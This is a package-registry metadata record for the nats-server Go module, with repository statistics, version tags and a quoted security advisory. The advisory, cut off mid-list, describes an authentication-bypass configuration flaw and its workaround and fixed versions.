{"id":5225,"name":"github.com/nats-io/nats-server/v2","ecosystem":"go","repository_url":"https://github.com/nats-io/nats-server","issues_count":489,"created_at":"2025-06-06T17:08:29.851Z","updated_at":"2025-06-06T17:08:29.851Z","purl":"pkg:golang/github.com/nats-io/nats-server/v2","metadata":{"id":3502025,"name":"github.com/nats-io/nats-server/v2","ecosystem":"go","description":"","homepage":"https://github.com/nats-io/nats-server","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nats-io/nats-server","keywords_array":[],"namespace":"github.com/nats-io/nats-server","versions_count":176,"first_release_published_at":"2022-11-25T06:44:33.072Z","latest_release_published_at":"2025-05-22T13:21:11.000Z","latest_release_number":"v2.11.4","last_synced_at":"2025-06-06T02:03:12.372Z","created_at":"2022-04-10T20:16:24.733Z","updated_at":"2025-06-06T02:03:12.373Z","registry_url":"https://pkg.go.dev/github.com/nats-io/nats-server/v2","install_command":"go get github.com/nats-io/nats-server/v2","documentation_url":"https://pkg.go.dev/github.com/nats-io/nats-server/v2#section-documentation","metadata":{},"repo_metadata":{"uuid":"6443435","full_name":"nats-io/nats-server","owner":"nats-io","description":"High-Performance server for NATS.io, the cloud and edge native messaging system.","archived":false,"fork":false,"pushed_at":"2023-03-19T18:55:52.000Z","size":30468,"stargazers_count":12478,"open_issues_count":248,"forks_count":1204,"subscribers_count":386,"default_branch":"main","last_synced_at":"2023-03-20T02:06:49.438Z","etag":null,"topics":["cloud","cloud-computing","cloud-native","distributed-systems","go","golang","message-bus","message-queue","messaging","microservices-architecture","nats-server"],"latest_commit_sha":null,"homepage":"https://nats.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"Famous/famous","license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"logo_url":null,"metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE-OF-CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"community_bridge":"nats-io"}},"created_at":"2012-10-29T16:12:24.000Z","updated_at":"2023-03-19T19:53:05.000Z","dependencies_parsed_at":"2023-01-16T20:15:54.578Z","dependency_job_id":null,"html_url":"https://github.com/nats-io/nats-server","commit_stats":null,"repository_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nats-io%2Fnats-server","tags_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nats-io%2Fnats-server/tags","manifests_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nats-io%2Fnats-server/manifests","owner_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nats-io","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":108921946,"host_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names"},"owner_record":{"login":"nats-io","name":"NATS - The Cloud Native Messaging System","uuid":"10203055","kind":"organization","description":"NATS is a simple, secure and performant communications system for digital systems, services and devices.","email":"info@nats.io","website":"https://nats.io","location":null,"twitter":null,"company":null,"avatar_url":"https://avatars.githubusercontent.com/u/10203055?v=4","repositories_count":90,"last_synced_at":"2023-02-19T22:13:50.872Z","metadata":{"has_sponsors_listing":false},"owner_url":"http://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nats-io"},"tags":[{"name":"v2.9.11","sha":"23ffc16f95673efe4f7aa07d7fc4a5fb97679511","kind":"tag","published_at":"2023-01-06T17:36:24.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.11","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.11"},{"name":"v2.9.10","sha":"4caf6aa03d1bdf0139e1e21ee211c55cc6523d78","kind":"tag","published_at":"2022-12-20T15:47:08.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.10","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.10"},{"name":"v2.9.9","sha":"825949bc52213544f4db27c72912b588864e6ae4","kind":"tag","published_at":"2022-12-08T17:27:48.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.9","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.9"},{"name":"v2.9.8","sha":"60e335aaee7aaba8f3d784e10694de3453633790","kind":"tag","published_at":"2022-11-22T20:39:06.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.8","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.8"},{"name":"v2.9.7","sha":"1e76678ca73a06cb58720460de9ae1c32e533c9d","kind":"tag","published_at":"2022-11-17T16:49:59.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.7","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.7"},{"name":"v2.9.6","sha":"289a9e1be0c60dba2b439351054156831dd7dd21","kind":"tag","published_at":"2022-11-04T15:58:27.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.6","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.6"},{"name":"v2.9.5","sha":"ceebf53cf61b8cb116a0977573dbd555fc37e0c9","kind":"tag","published_at":"2022-11-01T21:34:43.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.5","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.5"},{"name":"v2.9.4","sha":"0b9529469ecce847cc186f9865c47c0314816258","kind":"tag","published_at":"2022-10-27T22:42:13.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.4"},{"name":"v2.9.3","sha":"25e82d7d99b1fa30bceeccb51a41ac833faee9e8","kind":"tag","published_at":"2022-10-10T21:07:03.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.3","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.3"},{"name":"v2.9.2","sha":"6d81dde81bbea306f452e57be05040d169f909d3","kind":"tag","published_at":"2022-09-29T21:29:51.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.2"},{"name":"v2.9.1","sha":"2363a2c3b04fa3c2ee0d33d702a8ea8ed23858d4","kind":"tag","published_at":"2022-09-22T20:45:49.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.1"},{"name":"v2.9.0","sha":"517d9b382dc6439ae385d509f456680bcb5cefdd","kind":"tag","published_at":"2022-09-09T14:48:12.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.9.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.9.0"},{"name":"v2.8.4","sha":"66524ed715a72db192ec93465bf24391f7696f3f","kind":"tag","published_at":"2022-05-26T17:00:48.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.8.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.8.4"},{"name":"v2.8.3","sha":"7e9b6047a43045d08002187d93394454f0ee448a","kind":"tag","published_at":"2022-05-23T21:14:48.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.8.3","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.8.3"},{"name":"v2.8.2","sha":"9e5d25b26d117960db03bbab1ee1c176d6c39039","kind":"tag","published_at":"2022-05-04T19:12:16.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.8.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.8.2"},{"name":"v2.8.1","sha":"23b41bb62461739e07f5455850a8717184048b54","kind":"tag","published_at":"2022-04-21T21:03:42.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.8.1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.8.1"},{"name":"v2.8.0","sha":"90721ee1faafdd5fb83fba545895cb9db929239c","kind":"tag","published_at":"2022-04-18T22:30:07.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.8.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.8.0"},{"name":"v2.7.4","sha":"a86b84a9f35168973d910f462b8d03f77699b34f","kind":"tag","published_at":"2022-03-09T21:01:56.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.7.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.7.4"},{"name":"v2.7.3","sha":"1712ee3707e9b252a197946fc20f3690735e9407","kind":"tag","published_at":"2022-02-24T21:25:34.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.7.3","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.7.3"},{"name":"v2.7.2","sha":"135475babb917efb036dc710afb0df9d57173a82","kind":"tag","published_at":"2022-02-04T21:57:59.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.7.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.7.2"},{"name":"v2.7.1","sha":"7cf537e53232f801a283abc7e9fcb9da329081db","kind":"tag","published_at":"2022-01-25T21:31:05.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.7.1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.7.1"},{"name":"v2.7.0","sha":"bb87a650acdacf9566e4907fc0bd921c782340aa","kind":"tag","published_at":"2022-01-14T00:17:59.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.7.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.7.0"},{"name":"v2.7.0-rc2","sha":"70b1f5c950b0f176a3e5dde9f73f837cc5d4c97b","kind":"tag","published_at":"2022-01-14T00:06:18.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.7.0-rc2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.7.0-rc2"},{"name":"v2.7.0-rc1","sha":"f268aad00ba9df78c5beab48fe489d4ee2678d8e","kind":"tag","published_at":"2022-01-13T23:52:00.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.7.0-rc1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.7.0-rc1"},{"name":"v2.6.6","sha":"878afadcf066bc79ebba7ac49d5753b9cef5a3d5","kind":"tag","published_at":"2021-12-02T19:22:37.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.6.6","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.6.6"},{"name":"v2.6.5","sha":"ea48105526db36b566b3afb36ddfacccf3f97f3a","kind":"tag","published_at":"2021-11-19T18:10:27.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.6.5","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.6.5"},{"name":"v2.6.4","sha":"a27de5a681636cb25362ce0a726f365a099bd95e","kind":"tag","published_at":"2021-11-04T22:53:11.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.6.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.6.4"},{"name":"v2.6.3","sha":"530ea6a5c371e944fc3141a59dc7d3a69f2ab132","kind":"tag","published_at":"2021-10-28T20:05:03.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.6.3","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.6.3"},{"name":"v2.6.2","sha":"f7c3ac5e51f628bf6a85a43878f85e6e87847207","kind":"tag","published_at":"2021-10-12T22:05:44.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.6.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.6.2"},{"name":"v2.6.1","sha":"c91f0fec3fc64fcfc3c7702dfc07b72a00cec9d5","kind":"tag","published_at":"2021-09-24T00:10:38.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.6.1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.6.1"},{"name":"v2.6.0","sha":"3a4fd2bf24505ec0ad4171a6f0614ba319769e64","kind":"tag","published_at":"2021-09-21T23:01:05.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.6.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.6.0"},{"name":"v2.5.0","sha":"b3c19b9dd19171b58da5b5135491848cf72da599","kind":"tag","published_at":"2021-09-09T22:06:41.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.5.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.5.0"},{"name":"v2.4.0","sha":"e49eb66438951d6034bc94cf5a89f5e124ce0ce4","kind":"tag","published_at":"2021-08-26T22:20:56.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.4.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.4.0"},{"name":"v2.3.4","sha":"7112ae06a54899471910c82a7edaf068040f6dae","kind":"tag","published_at":"2021-08-04T23:09:40.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.3.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.3.4"},{"name":"v2.3.3","sha":"aaba459d52e6fb6e804aa6542bcbff5345d7abf3","kind":"tag","published_at":"2021-08-02T17:55:18.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.3.3","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.3.3"},{"name":"v2.3.2","sha":"54e16e80c5291e5d22895a8bbad23c6f42ca811c","kind":"tag","published_at":"2021-07-06T21:11:48.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.3.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.3.2"},{"name":"v2.3.1","sha":"907fef49796ae77896c02883102909ad1df094f1","kind":"tag","published_at":"2021-06-29T20:18:47.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.3.1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.3.1"},{"name":"v2.3.0","sha":"56a144a4a9241f6a079f5e26a74f7d0c210e1da3","kind":"tag","published_at":"2021-06-23T19:16:24.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.3.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.3.0"},{"name":"v2.2.6","sha":"cf433ae0077a9aab7deb94adc423741079f4a1f8","kind":"tag","published_at":"2021-05-24T22:00:10.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.2.6","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.2.6"},{"name":"v2.2.5","sha":"b7e1f66bea60f0344e73e768bed1e3b1b41ed6de","kind":"tag","published_at":"2021-05-20T22:42:42.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.2.5","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.2.5"},{"name":"v2.2.4","sha":"924b314a79e5ea77f07f74ae36b227b2cb938e61","kind":"tag","published_at":"2021-05-12T23:50:15.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.2.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.2.4"},{"name":"v2.2.3","sha":"b828e0176115360573b74d5d80a9ac44a4d75405","kind":"tag","published_at":"2021-05-07T23:37:55.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.2.3","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.2.3"},{"name":"v2.2.2","sha":"a5f3aabb1309b554c31ebde5ff873286c28cf8cf","kind":"tag","published_at":"2021-04-22T17:51:13.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.2.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.2.2"},{"name":"v2.2.1","sha":"0bdd8f84f92e54f30358722b7ae5663ddb77eaaa","kind":"tag","published_at":"2021-04-02T23:14:25.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.2.1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.2.1"},{"name":"v2.2.0","sha":"0e3c7230e4b7c85795592f74a62351f6fe22fcbd","kind":"tag","published_at":"2021-03-15T02:24:11.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.2.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.2.0"},{"name":"v2.1.9","sha":"7c7662603115c1f53a9bacfa0115893c8ebe6fd4","kind":"tag","published_at":"2020-11-02T17:08:02.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.1.9","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.1.9"},{"name":"v2.1.8","sha":"c0b574faf3b950121a465381b501fb7e1a5a5584","kind":"tag","published_at":"2020-09-03T23:06:22.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.1.8","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.1.8"},{"name":"v2.1.7","sha":"bf0930ee76afa01c784fabe11d2ce87dde0d270c","kind":"tag","published_at":"2020-05-14T17:54:06.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.1.7","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.1.7"},{"name":"v2.1.6","sha":"8c8d6f88466bb7161a5246892ea6ff89ac9547c3","kind":"tag","published_at":"2020-03-31T18:30:44.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.1.6","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.1.6"},{"name":"v2.1.4","sha":"fb009afa8c434eb2f026d0c0d4b30aafbc618a9e","kind":"tag","published_at":"2020-01-30T15:52:47.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.1.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.1.4"},{"name":"v2.1.2","sha":"679bedafd96f85ddfa56a4d5736517c18842047a","kind":"tag","published_at":"2019-11-18T22:59:45.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.1.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.1.2"},{"name":"v2.1.0","sha":"1cc5ae0ebaa61a4b7a4a4b3a9ddf39c349b00fbe","kind":"tag","published_at":"2019-09-20T18:50:12.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.1.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.1.0"},{"name":"v2.0.4","sha":"c8ca58efb4b319ad3f01a4208f9dabfe9953837c","kind":"tag","published_at":"2019-08-15T16:08:57.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.0.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.0.4"},{"name":"v2.0.2","sha":"6a40503f972e032881e43e1a1bcf30f2efe0e2e4","kind":"tag","published_at":"2019-07-15T16:34:10.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.0.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.0.2"},{"name":"v2.0.0","sha":"e12e56aef4089d8376e22b03cbc2e5b97321f049","kind":"tag","published_at":"2019-06-05T14:29:58.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.0.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.0.0"},{"name":"v2.0.0-RC19","sha":"61e062dfc99c7a2d4635453babcf9177ffdb7346","kind":"tag","published_at":"2019-06-04T15:45:12.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.0.0-RC19","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.0.0-RC19"},{"name":"v2.0.0-RC14","sha":"d779a0bd38a5302e4cefe2c36fa784c2f2cdb8b3","kind":"tag","published_at":"2019-05-22T20:09:22.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v2.0.0-RC14","html_url":"https://github.com/nats-io/nats-server/releases/tag/v2.0.0-RC14"},{"name":"v1.4.1","sha":"3e64f0bfd1fe4c2cf6599f064ff72fa7af439663","kind":"tag","published_at":"2019-02-07T23:37:52.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v1.4.1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v1.4.1"},{"name":"v1.4.0","sha":"ce2df36122805cfcf7fd996698f9389d1926c32b","kind":"tag","published_at":"2019-01-15T21:13:16.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v1.4.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v1.4.0"},{"name":"v1.3.0","sha":"eed4fbc1458ce110ad1aa1adf904229bc8fda2a7","kind":"tag","published_at":"2018-08-30T15:15:36.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v1.3.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v1.3.0"},{"name":"v1.2.0","sha":"6608e9ac3be979dcb0614b772cc86a87b71acaa3","kind":"tag","published_at":"2018-07-05T16:46:51.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v1.2.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v1.2.0"},{"name":"v1.1.0","sha":"add6d7930ae6d4bff8823b28999ea87bf1bfd23d","kind":"tag","published_at":"2018-03-23T20:52:41.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v1.1.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v1.1.0"},{"name":"v1.0.6","sha":"02dd205a481e8f9957f15ec2667e8b80bafecc14","kind":"tag","published_at":"2018-02-28T23:15:46.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v1.0.6","html_url":"https://github.com/nats-io/nats-server/releases/tag/v1.0.6"},{"name":"v1.0.4","sha":"12a5ced612f30aa511906c0de12a124233752f70","kind":"tag","published_at":"2017-09-27T17:18:59.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v1.0.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v1.0.4"},{"name":"v1.0.2","sha":"4ccbd2e3bac4a1e1f32ed760549f1f26560f58be","kind":"tag","published_at":"2017-07-19T19:37:02.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v1.0.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v1.0.2"},{"name":"v1.0.0","sha":"9a44c20890b875b0fbb28ec54f79f985bf58f44e","kind":"tag","published_at":"2017-07-12T16:41:01.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v1.0.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v1.0.0"},{"name":"v0.9.6","sha":"5dcad241bcd7fff3aac6e9f8b47350f071f5fd38","kind":"tag","published_at":"2016-12-15T23:05:32.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.9.6","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.9.6"},{"name":"v0.9.4","sha":"dcbf5d8d35659a9a43f2832a20d98b92eedceb9e","kind":"tag","published_at":"2016-08-18T15:40:09.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.9.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.9.4"},{"name":"v0.9.2","sha":"62923be357d99504f725ffc2ff27bcfc69f1943e","kind":"tag","published_at":"2016-08-08T20:57:23.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.9.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.9.2"},{"name":"v0.8.1","sha":"86e883ce7d54d925e3018a761da38074eb732218","kind":"tag","published_at":"2016-06-09T19:49:53.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.8.1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.8.1"},{"name":"v0.8.0","sha":"3ff8ad706a6816b13c9277637e2e7d5bb406951a","kind":"tag","published_at":"2016-05-09T19:47:55.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.8.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.8.0"},{"name":"v0.7.2","sha":"8e99354b8ca40ae921463cea076abf460dd12d62","kind":"tag","published_at":"2015-12-09T19:43:18.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.7.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.7.2"},{"name":"v0.7.0","sha":"5148f18c52d59f97cf62c2fc521cdc08d2981ac4","kind":"tag","published_at":"2015-12-04T00:03:37.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.7.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.7.0"},{"name":"v0.6.8","sha":"fe3b8f2aa1826d85d78ee4d17502ae03e27afb26","kind":"tag","published_at":"2015-09-18T14:46:20.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.6.8","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.6.8"},{"name":"v0.6.6","sha":"968aec7b08028e3c43c729ecef2d5405ee4976da","kind":"tag","published_at":"2015-08-23T21:22:46.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.6.6","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.6.6"},{"name":"v0.6.4","sha":"6511455239e15ce4ef71a68442acc906b079fe46","kind":"tag","published_at":"2015-08-08T05:14:28.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.6.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.6.4"},{"name":"v0.6.2","sha":"13efacd3d8af4cb4ceedbae36749b7cffeebcd29","kind":"tag","published_at":"2015-08-08T00:42:30.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.6.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.6.2"},{"name":"v0.6.0","sha":"08ec9da14e4e7c8547b51fd58c4f47a1df1d1281","kind":"tag","published_at":"2015-06-16T23:50:57.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.6.0","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.6.0"},{"name":"v0.5.6","sha":"62c5c4d2294543ad7d21be425b4781c585527b1b","kind":"tag","published_at":"2014-09-10T23:35:18.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.5.6","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.5.6"},{"name":"v0.5.4","sha":"7e198fb2f8e78f4418b8825417f9bc74d0374f08","kind":"tag","published_at":"2014-07-25T23:30:16.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.5.4","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.5.4"},{"name":"v0.5.2","sha":"e172f4bdf9cf2633229ca8d2e18c9c677ef69128","kind":"tag","published_at":"2014-04-30T21:19:25.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.5.2","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.5.2"},{"name":"v0.5.1","sha":"ac975a9856b4d6969836c99c29c7681cb31ec519","kind":"tag","published_at":"2014-04-25T18:30:12.000Z","download_url":"https://codeload.github.com/nats-io/nats-server/tar.gz/v0.5.1","html_url":"https://github.com/nats-io/nats-server/releases/tag/v0.5.1"}]},"repo_metadata_updated_at":"2023-03-21T18:39:33.564Z","dependent_packages_count":6417,"downloads":null,"downloads_period":null,"dependent_repos_count":24884,"rankings":{"downloads":null,"dependent_repos_count":0.03806896661690462,"dependent_packages_count":0.030794007027810277,"stargazers_count":0.5357559280954953,"forks_count":0.734571604537183,"docker_downloads_count":0.1231760281112411,"average":0.2924733068777269},"purl":"pkg:golang/github.com/nats-io/nats-server/v2","advisories":[{"uuid":"GSA_kwCzR0hTQS1mcjJnLTloam0td3IyM84AA2kD","url":"https://github.com/advisories/GHSA-fr2g-9hjm-wr23","title":"NATS.io: Adding accounts for just the system account adds auth bypass","description":"## Background\n\nNATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.\n\nNATS users exist within accounts, and once using accounts, the old authorization block is not applicable.\n\n\n## Problem Description\n\nWithout any authorization rules in the nats-server, users can connect without authentication.\n\nBefore nats-server 2.2.0, all authentication and authorization rules for a nats-server lived in an \"authorization\" block, defining users.  With nats-server 2.2.0 all users live inside accounts.  When using the authorization block, whose syntax predates this, those users will be placed into the implicit global account, \"$G\".  Users inside accounts go into the newer \"accounts\" block.\n\nIf an \"accounts\" block is defined, in simple deployment scenarios this is often used only to enable client access to the system account.  When the only account added is the system account \"$SYS\", the nats-server would create an implicit user in \"$G\" and set it as the `no_auth_user` account, enabling the same \"without authentication\" logic as without any rules.\n\nThis preserved the ability to connect simply, and then add one authenticated login for system access.\n\nBut with an \"authorization\" block, this is wrong.  Users exist in the global account, with login rules.  And in simple testing, they might still connect fine without administrators seeing that authentication has been disabled.\n\nThe blind-spot on our part came from encouraging and documenting a switch to using only \"accounts\", instead of \"authorization\".\n\nIn the fixed versions, using an \"authorization\" block will inhibit the implicit creation of a \"$G\" user and setting it as the `no_auth_user` target.  In unfixed versions, just creating a second account, with no users, will also inhibit this behavior.\n\n\n## Affected versions\n\nNATS Server:\n * 2.2.0 up to and including 2.9.22 and 2.10.1\n * Fixed with nats-io/nats-server: 2.10.2 and backported to 2.9.23\n\n\n## Workarounds\n\nIn the \"accounts\" block, define a second non-system account, leave it empty.\n\n    accounts {\n        SYS: {\n            users: [\n                { user: sysuser, password: makemeasandwich }\n            ]\n        }\n        DUMMY: {}  # for security, before 2.10.2\n    }\n    system_account: SYS\n\n\n## Solution\n\nAny one of these:\n\n 1. Upgrade the NATS server to at least 2.10.2 (or 2.9.23)\n 2. Or define a dummy account\n 3. Or complete the migration of authorization entries to be inside a named 